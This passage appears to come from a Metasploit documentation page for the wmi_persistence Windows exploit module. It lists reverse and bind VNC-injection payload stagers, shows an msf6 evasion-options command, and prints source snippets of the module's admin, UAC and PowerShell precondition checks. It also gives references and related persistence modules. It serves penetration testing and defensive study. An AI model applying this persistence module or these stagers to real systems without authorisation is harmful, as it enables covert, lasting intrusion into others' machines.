173 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
174 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
175 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
176 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
177 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
178 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
179 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
180 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
181 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
182 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
183 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
184 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
185 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
186 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
187 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
188 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
189 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
190 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
191 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/wmi_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/wmi_persistence) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This module requires powershell to run
Here is a relevant code snippet related to the "This module requires powershell to run" error message:
72: end
73:
74:
75: def exploit
76: unless have_powershell?
77: print_error("This module requires powershell to run")
78: return
79: end
80:
81: unless is_admin?
82: print_error("This module requires admin privs to run")
This module requires admin privs to run
Here is a relevant code snippet related to the "This module requires admin privs to run" error message:
77: print_error("This module requires powershell to run")
78: return
79: end
80:
81: unless is_admin?
82: print_error("This module requires admin privs to run")
83: return
84: end
85:
86: unless is_high_integrity?
87: print_error("This module requires UAC to be bypassed first")
This module requires UAC to be bypassed first
Here is a relevant code snippet related to the "This module requires UAC to be bypassed first" error message:
82: print_error("This module requires admin privs to run")
83: return
84: end
85:
86: unless is_high_integrity?
87: print_error("This module requires UAC to be bypassed first")
88: return
89: end
90:
91: if is_system?
92: print_error("This module cannot run as System")
This module cannot run as System
Here is a relevant code snippet related to the "This module cannot run as System" error message:
87: print_error("This module requires UAC to be bypassed first")
88: return
89: end
90:
91: if is_system?
92: print_error("This module cannot run as System")
93: return
94: end
95:
96: host = session.session_host
97: print_status('Installing Persistence...')
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Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12832 Merged Pull Request: DisablePayloadHandler replace strings with bools
- #8960 Merged Pull Request: spelling/grammar fixes part 3
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8514 Merged Pull Request: added wmi_persistence module
References
- CVE: Not available
- https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
- https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/
See Also
Check also the following modules related to this module:
- exploit/windows/browser/wmi_admintools
- exploit/windows/local/ms16_014_wmi_recv_notif
- exploit/windows/local/ps_wmi_exec
- exploit/windows/local/wmi
- exploit/linux/local/apt_package_manager_persistence
- exploit/linux/local/autostart_persistence
- exploit/linux/local/bash_profile_persistence
- exploit/linux/local/cron_persistence
- exploit/linux/local/rc_local_persistence
- exploit/linux/local/service_persistence
- exploit/linux/local/yum_package_manager_persistence
- exploit/osx/local/persistence
- exploit/unix/local/at_persistence
- exploit/windows/local/persistence
- exploit/windows/local/registry_persistence
- exploit/windows/local/s4u_persistence
- exploit/windows/local/vss_persistence
- exploit/windows/local/persistence_image_exec_options
- exploit/windows/local/persistence_service
- post/linux/manage/sshkey_persistence
- post/windows/manage/persistence_exe
- post/windows/manage/sshkey_persistence
- auxiliary/scanner/smb/impacket/wmiexec
- post/windows/gather/wmic_command
Authors
- Nick Tyrer <@NickTyrer>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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